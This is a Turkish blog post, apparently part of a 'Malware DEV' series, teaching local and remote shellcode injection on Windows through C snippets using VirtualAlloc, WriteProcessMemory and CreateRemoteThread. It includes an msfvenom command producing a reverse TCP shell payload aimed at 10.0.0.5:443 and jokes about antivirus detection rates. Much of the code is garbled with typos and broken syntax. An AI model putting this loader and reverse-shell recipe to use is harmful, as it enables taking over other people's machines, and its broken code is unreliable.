Local ve Remote Shellcode Injection #Malware DEV 1

Local ve Remote Shellcode Injection

Local ve Remote Process Injection

selamlar bu gün local ve remote proces injectiondan bahsedeceğim çok zor bir konu değil user seviye genelde olacak bu işlem diğer adıy7oa shellcode injectionudur shellcodemizi enjekte etmek amacı ile not:manayğın biri gelip yeni bir yöntem aramasın hatayazcağımız kod 50 den fazla algılama ornaı olmazsa bende bişey bilmiyorum birde 49 da kalıyormuş :D yapacağınız yazılımı derdim her neyse başlıyalım

Local shellcode injection:

burda iş çok basitir kendi belek alanımızda bir alahn açılır kendi processimizde bu VirtualAlloc ile gerçekleşir belekte executable(çalıstırılabilir) bir alan oluşturur memcpy ile shellcode yi ayırdığımız alana kopyalamaış oluruz shellcodeyi sonra bir fosniyon gibi çağrırız

hadi örnek ile bakalım:

#include <windoıwes.h>
#include <stduio.h>
burda windows.h öenli olacak win api ler için
unsigned char shellcode[] = { /* shellcode buraya */ };
shellcode char dizisi yapalım msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d msf venom ileshellcoeyi alın not:sözümü geri alıyorum 60 algılanma :D ama öğrenmek için yapıyoruz bunlar bi test kod:unsigned char shellcode[] = {shellcode};
void* exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMIT | MEM_RESERVE PAGE_EXECUTE_READWRITE);
if(!exec) {
    return 0;
}
exec eğer null ise işlem basarısız demektir 1 i döndürürüz.
for(size_t i = 0; i < sizeof(shellcode); i++)
    ((unsigned char*)exec[i] = shellcode[i];
burda döngü ile shellcode kadar nekadar yazmamız gerektiğini belirtiyoruz eğer i shellcode byte syasından küçükse oraya gelene kadar artırır ve sonucunda ise shellcoeeyi çalıstırır
((void(*)exec)();
çalıstır
return 0;
retunr0;

Remote Injection:

evet bukadardı çok zor değil simdi remote kısma bakalım burda amaç basak bir provcesste alan ayırıp bu alaanshellcdoe yazmaktır burda dah fazla wn api kuullanıcağız

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD pid = atoi(argv[1]9;

HANDLE hProcesas= OpenProcess(PROCESS?_ALL_ACCES, FALE pid);

if(!hporcess) {
    retunr 1;
}
PİD i al ve oprocessi açmak için yapılır atoi(argv[1]) → string’i integer’a çeviriyoruz OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) → hedef process’e tam erişim alıyoruz yani kullanıcı burda injector.exe 1234 yağtığında bu argumanlarda ilk arguman 1234 alınacak ve openprocess ile bu process açılack
unsigned char shellcode[] = { 0x90, 0x90, 0x90 }; // benign placeholder
shellşcdoeyi tanımla
vodi* remotebuffer = VirtuallocEx(hprocess, null, sizeof(shellcode), MEM_COMIT | MEM_RESEVRE, PAGE_EXECYUTE_READWRITE);
VirtualAllocEx → başka bir process’in memory’sinde alan ayırıyor Parametreler: hProcess → hedef process NULL → adresi Windows’a bırak sizeof(shellcode) → kaç byte ayıracağız MEM_COMMIT | MEM_RESERVE → allocate ve reserve PAGE_EXECUTE_READWRITE → yazılabilir, çalıştırılabilir, okunabilir Bu adım shellcode’unuzun hedef process’e yerleşeceği alanı yaratıyor.
WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
HEDEF PROCESS E VERŞ YAZAR HPROCESS HEDEF PROCESSTİR REMOTEBFFER YAZACAĞIMIZ ADRESTİR SHELLCODE KAYNAK VERİDİR SİZEOF(shellcode)= kaç byte dir NULL bildiğin bulll bytesyaısını almıyoruz
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                    (LPTHREAD_START_ROUTINE)remoteBuffer,
                                    NULL, 0, NULL);
CreateRemoteThread → hedef process içinde yeni bir thread yaratıyor Thread’in başlangıç noktası → remoteBuffer (yani shellcode) Thread parametresi yok (NULL) Stack size default (0) Bu thread shellcode’un çalışmasını sağlıyor.
if(hThread) CloseHandle(hThread);
CloseHandle(hProcess);
Thread ve process handle’ları kapatılıyor Bu temiz kaynak yönetimi, Windows’ta leak olmasın diye

işte bukadar temiz iş

Post a Comment

Daha yeni Daha eski